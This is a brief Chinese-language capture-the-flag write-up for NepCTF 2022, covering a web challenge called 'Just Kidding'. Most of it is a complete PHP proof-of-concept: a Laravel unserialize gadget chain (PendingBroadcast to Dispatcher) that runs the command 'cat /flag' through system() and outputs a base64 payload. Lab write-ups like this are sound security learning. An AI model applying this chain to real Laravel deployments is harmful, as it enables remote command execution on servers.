NepCTF-2022-WP

CTF-WP ctf

Created At : 2022-07-20 00:50

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Comment:

Web
1. Just Kidding
2. Challenger

因为有其它的事情，只上线了一会，解了两个签到题就跑路了。

Web

Just Kidding

参考：https://xz.aliyun.com/t/11362 第一条链子。

对照几处关键点都相符：

\vendor\laravel\framework\src\Illuminate\Broadcasting\PendingBroadcast.php

\vendor\laravel\framework\src\Illuminate\Bus\Dispatcher.php

可直接利用，poc如下：

<?php

namespace Illuminate\Contracts\Queue{

    interface ShouldQueue {}
}

namespace Illuminate\Bus{

    class Dispatcher{
        protected $container;
        protected $pipeline;
        protected $pipes = [];
        protected $handlers = [];
        protected $queueResolver;
        function __construct()
        {
            $this->queueResolver = "system";

        }
    }
}

namespace Illuminate\Broadcasting{

    use Illuminate\Contracts\Queue\ShouldQueue;

    class BroadcastEvent implements ShouldQueue {
        function __construct() {}
    }

    class PendingBroadcast{
        protected $events;
        protected $event;
        function __construct() {
            $this->event = new BroadcastEvent();
            $this->event->connection = "cat /flag";
            $this->events = new \Illuminate\Bus\Dispatcher();
        }
    }
}

namespace {
    $pop = new \Illuminate\Broadcasting\PendingBroadcast();
    echo base64_encode(serialize($pop));
}

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